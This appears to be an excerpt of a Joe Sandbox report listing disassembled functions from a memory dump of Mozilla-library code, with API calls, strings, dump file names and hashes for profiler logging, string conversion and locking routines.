Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

vml, xrefs: 6C69696C
data, xrefs: 6C696593

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

CoInitializeEx, xrefs: 6C660F36
combase.dll, xrefs: 6C660F18

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C69F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
